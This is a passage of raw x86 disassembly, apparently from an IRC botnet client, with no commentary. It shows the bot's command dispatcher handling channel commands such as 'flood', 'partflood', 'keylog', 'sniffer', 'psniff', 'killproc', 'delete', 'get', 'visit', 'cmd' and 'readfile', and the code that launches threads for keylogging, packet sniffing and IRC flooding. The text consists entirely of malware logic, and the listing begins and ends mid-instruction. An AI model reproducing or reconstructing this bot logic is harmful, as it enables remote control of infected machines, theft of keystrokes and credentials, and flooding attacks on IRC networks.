eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi lea eax, [ebp+var_1474] push edi push eax mov [ebp+var_13EC], 1 call sub_41B980 add esp, 0Ch lea eax, [ebp+var_14F4] push esi push edi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+arg_10] push 10h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C4] push offset unk_42BCAC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B0F7 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset word_40B8A2 push ebx push ebx call near ptr 26B0000h nop mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_404BE7 loc_404BD1: ; CODE XREF: sub_401ACD+3118j cmp [ebp+var_13DC], ebx jnz loc_40828C push 32h nop call near ptr 26A0F44h jmp short loc_404BD1 ; --------------------------------------------------------------------------- loc_404BE7: ; CODE XREF: sub_401ACD+3102j nop call near ptr 26B0857h push eax push offset unk_42BC6C jmp loc_4049EC ; --------------------------------------------------------------------------- loc_404BF8: ; CODE XREF: sub_401ACD+3037j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C1 push edi push offset aRin ; "rin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C1 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409779 push edi push offset aRinms ; "rinms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409779 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C070 mov edi, dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DF nop call near ptr 26C066Dh push eax call sub_41B8D8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C070 add esp, 0Ch test eax, eax jnz short loc_404CFE cmp [ebp+esi+var_80], ebx jz short loc_404CFE push [ebp+esi+var_80] call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_417A60 add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42BC04 push eax call sub_41B886 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_404CFE: ; CODE XREF: sub_401ACD+31BAj ; sub_401ACD+31C0j ... push [ebp+arg_10] push offset dword_42BC00 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404D6A mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D6A push offset asc_42D128 ; " " push offset dword_42BBFC push eax call sub_417EEF push eax lea eax, [ebp+var_50F4] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BBEC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_404D6A: ; CODE XREF: sub_401ACD+3242j ; sub_401ACD+324Dj push [ebp+arg_10] push offset dword_42BBE8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404DD6 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD6 push offset asc_42D128 ; " " push offset dword_42BBFC push eax call sub_417EEF push eax lea eax, [ebp+var_4BF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BBD4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_404DD6: ; CODE XREF: sub_401ACD+32AEj ; sub_401ACD+32B9j push [ebp+arg_10] push offset aNt ; "nt" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404E42 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E42 push offset asc_42D128 ; " " push offset dword_42BBFC push eax call sub_417EEF push eax lea eax, [ebp+var_46EC] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_404E42: ; CODE XREF: sub_401ACD+331Aj ; sub_401ACD+3325j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EAE mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404EAE push offset asc_42D128 ; " " push offset dword_42BBFC push eax call sub_417EEF push eax lea eax, [ebp+var_4DF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_404EAE: ; CODE XREF: sub_401ACD+3386j ; sub_401ACD+3391j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EED mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EED push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h loc_404EED: ; CODE XREF: sub_401ACD+33F2j ; sub_401ACD+33FDj push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F2C mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F2C push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h loc_404F2C: ; CODE XREF: sub_401ACD+3431j ; sub_401ACD+343Cj push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F70 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F70 push offset dword_427638 push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_404F70: ; CODE XREF: sub_401ACD+3470j ; sub_401ACD+347Bj push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404FE9 cmp [ebp+esi+var_88], ebx jz short loc_404FE9 nop call near ptr 26C066Dh push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset dword_42BB64 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C4] push offset dword_42BB5C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h loc_404FE9: ; CODE XREF: sub_401ACD+34B4j ; sub_401ACD+34BDj push [ebp+arg_10] push offset dword_42BB50 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405136 cmp [ebp+esi+var_88], ebx jz loc_405136 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427638 push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset dword_427638 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h call sub_41B8E2 cdq mov ecx, 0C8h idiv ecx push edx call edi push offset dword_427638 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_405136: ; CODE XREF: sub_401ACD+352Dj ; sub_401ACD+353Aj push [ebp+arg_10] push offset dword_42BB4C call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4051D0 cmp [ebp+esi+var_88], ebx jz short loc_4051D0 nop call near ptr 26C066Dh push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42BB24 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 24h loc_4051D0: ; CODE XREF: sub_401ACD+367Aj ; sub_401ACD+3687j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4052D2 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_4052D2 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 lea eax, [ebp+var_4BC] push eax call sub_417ADE add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42BB5C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADE pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42BB5C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h call sub_41B8E2 cdq mov ecx, 1F4h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADE pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42BB5C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h loc_4052D2: ; CODE XREF: sub_401ACD+3714j ; sub_401ACD+3723j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405319 lea eax, [ebp+var_1808] push eax call sub_417ADE pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C4] push offset dword_42BB5C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h loc_405319: ; CODE XREF: sub_401ACD+3816j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405408 cmp [ebp+esi+var_88], ebx jz loc_405408 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h lea eax, [ebp+var_2C4] push offset dword_42763C push [ebp+esi+var_88] push offset dword_42BBEC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BBEC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BBEC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_405408: ; CODE XREF: sub_401ACD+385Dj ; sub_401ACD+386Aj push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4054F7 cmp [ebp+esi+var_88], ebx jz loc_4054F7 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h lea eax, [ebp+var_2C4] push offset dword_42763C push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_4054F7: ; CODE XREF: sub_401ACD+394Cj ; sub_401ACD+3959j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40560E cmp [ebp+esi+var_88], ebx jz loc_40560E push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BADC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42BAC4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42BAAC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42BAAC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h loc_40560E: ; CODE XREF: sub_401ACD+3A3Bj ; sub_401ACD+3A48j push [ebp+arg_10] push offset aMix ; "mix" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405734 cmp [ebp+esi+var_88], ebx jz loc_405734 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BADC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_405734: ; CODE XREF: sub_401ACD+3B52j ; sub_401ACD+3B5Fj push [ebp+arg_10] push offset aRegister ; "register" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40577A mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_40577A push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_40577A: ; CODE XREF: sub_401ACD+3C78j ; sub_401ACD+3C83j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4062C4 mov edi, offset dword_4D46EC loc_405796: ; CODE XREF: sub_401ACD+3CE8j cmp dword ptr [edi-4], 1 jnz short loc_4057A9 mov eax, [edi] cmp eax, ebx jbe short loc_4057A9 push eax call dword_4CB6EC loc_4057A9: ; CODE XREF: sub_401ACD+3CCDj ; sub_401ACD+3CD3j add edi, 210h cmp edi, offset dword_4DAE0C jl short loc_405796 cmp [ebp+var_8], ebx jnz loc_4062C4 push ebx push [ebp+var_4] push offset unk_42BA4C push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h jmp loc_4062C4 ; --------------------------------------------------------------------------- loc_4057DF: ; CODE XREF: sub_401ACD+3196j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409759 push edi push offset aN ; "n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409759 push edi push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409732 push edi push offset aJ ; "j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409732 push edi push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409712 push edi push offset aPt ; "pt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409712 push edi push offset aRaw ; "raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D6 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D6 push edi push offset aKillthread ; "killthread" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D6 push edi push offset aK ; "k" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D6 push edi push offset aC_quit ; "c_quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409528 push edi push offset aC_q ; "c_q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409528 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D6 push edi push offset aC_rn ; "c_rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D6 push edi push offset aPrefix ; "prefix" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BD push edi push offset aPr ; "pr" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BD push edi push offset aOpen ; "open" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948F push edi push offset aO ; "o" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948F push edi push offset aServer ; "server" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409472 push edi push offset aSe ; "se" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409472 push edi push offset aDns ; "dns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409407 push edi push offset aDn ; "dn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409407 push edi push offset aKillproc ; "killproc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D7 push edi push offset aKp ; "kp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D7 push edi push offset aKill ; "kill" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409378 push edi push offset aKi ; "ki" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409378 push edi push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933C push edi push offset aDel ; "del" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933C push edi push offset aGet ; "get" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925D push edi push offset aGt ; "gt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925D push edi push offset aList ; "list" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923B push edi push offset aLi ; "li" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923B push edi push offset aVisit ; "visit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409147 push edi push offset aV ; "v" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409147 push edi push offset aMirccmd ; "mirccmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409110 push edi push offset aMirc ; "mirc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409110 push edi push offset aCmd ; "cmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A6 push edi push offset aCm ; "cm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A6 push edi push offset aReadfile ; "readfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409029 push edi push offset aRf ; "rf" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409029 push edi push offset aPsniff ; "psniff" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C7C push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C42 push 20h call sub_40B33F test eax, eax pop ecx jle short loc_405B6C push offset dword_42B950 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405B6C: ; CODE XREF: sub_401ACD+4093j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAE mov esi, offset aF_1 ; "#f" push offset dword_43D808 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405BAE mov esi, [ebp+var_88] loc_405BAE: ; CODE XREF: sub_401ACD+40C3j ; sub_401ACD+40D9j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B920 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B0F7 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset word_411FD6 push ebx push ebx call near ptr 26B0000h nop mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_405C31 loc_405C1B: ; CODE XREF: sub_401ACD+4162j cmp [ebp+var_E34], ebx jnz loc_40828C push 32h nop call near ptr 26A0F44h jmp short loc_405C1B ; --------------------------------------------------------------------------- loc_405C31: ; CODE XREF: sub_401ACD+414Cj call near ptr 26B0857h nop push eax push offset dword_42B8E4 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405C42: ; CODE XREF: sub_401ACD+4083j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828C push ebx push 20h call sub_40B2F2 pop ecx cmp eax, ebx pop ecx jle short loc_405C72 push eax push offset dword_42B8A8 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405C72: ; CODE XREF: sub_401ACD+4198j push offset dword_42B87C jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405C7C: ; CODE XREF: sub_401ACD+406Cj push edi push offset aSniffer ; "sniffer" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405DCE push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405D94 push 21h call sub_40B33F test eax, eax pop ecx jle short loc_405CBE push offset unk_42B854 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405CBE: ; CODE XREF: sub_401ACD+41E5j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405D00 mov esi, offset aF_1 ; "#f" push offset dword_43D808 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405D00 mov esi, [ebp+var_88] loc_405D00: ; CODE XREF: sub_401ACD+4215j ; sub_401ACD+422Bj push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B824 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B0F7 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412661 push ebx push ebx call near ptr 26B0000h nop mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_405D83 loc_405D6D: ; CODE XREF: sub_401ACD+42B4j cmp [ebp+var_F5C], ebx jnz loc_40828C push 32h nop call near ptr 26A0F44h jmp short loc_405D6D ; --------------------------------------------------------------------------- loc_405D83: ; CODE XREF: sub_401ACD+429Ej call near ptr 26B0857h nop push eax push offset unk_42B7E8 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405D94: ; CODE XREF: sub_401ACD+41D5j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828C push ebx push 21h call sub_40B2F2 pop ecx cmp eax, ebx pop ecx jle short loc_405DC4 push eax push offset unk_42B7A8 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405DC4: ; CODE XREF: sub_401ACD+42EAj push offset unk_42B778 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405DCE: ; CODE XREF: sub_401ACD+41BEj push edi push offset aIdent ; "ident" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405EA3 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405E69 push 2 call sub_40B33F test eax, eax pop ecx jle short loc_405E0C push offset dword_42B750 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405E0C: ; CODE XREF: sub_401ACD+4333j lea eax, [ebp+var_2C4] push offset dword_42B724 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B0F7 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_4101FD push ebx push ebx nop call near ptr 26B0000h imul esi, 234h cmp eax, ebx mov dword_43E5A4[esi], eax jnz loc_40828C call near ptr 26B0857h nop push eax push offset dword_42B6F0 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405E69: ; CODE XREF: sub_401ACD+4327j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828C push ebx push 2 call sub_40B2F2 pop ecx cmp eax, ebx pop ecx jle short loc_405E99 push eax push offset dword_42B6B8 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405E99: ; CODE XREF: sub_401ACD+43BFj push offset dword_42B698 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405EA3: ; CODE XREF: sub_401ACD+4310j push edi push offset aKeylog ; "keylog" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406020 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F19 push [ebp+arg_10] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_405F19 push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828C push ebx push 23h call sub_40B2F2 pop ecx cmp eax, ebx pop ecx jle short loc_405F0F push eax push offset dword_42B64C jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405F0F: ; CODE XREF: sub_401ACD+4435j push offset dword_42B620 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405F19: ; CODE XREF: sub_401ACD+4401j ; sub_401ACD+4410j push 23h call sub_40B33F test eax, eax pop ecx jle short loc_405F2F push offset dword_42B600 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405F2F: ; CODE XREF: sub_401ACD+4456j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD4], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F5C mov [ebp+var_BD0], 1 jmp short loc_405F65 ; --------------------------------------------------------------------------- loc_405F5C: ; CODE XREF: sub_401ACD+4481j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F65: ; CODE XREF: sub_401ACD+448Dj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405F8C mov esi, offset aF_0 ; "#f" push offset dword_43D808 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F8C mov esi, [ebp+var_88] loc_405F8C: ; CODE XREF: sub_401ACD+44A1j ; sub_401ACD+44B7j push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B5DC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 23h push eax call sub_40B0F7 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset byte_411CF5 push ebx push ebx call near ptr 26B0000h nop mov ecx, 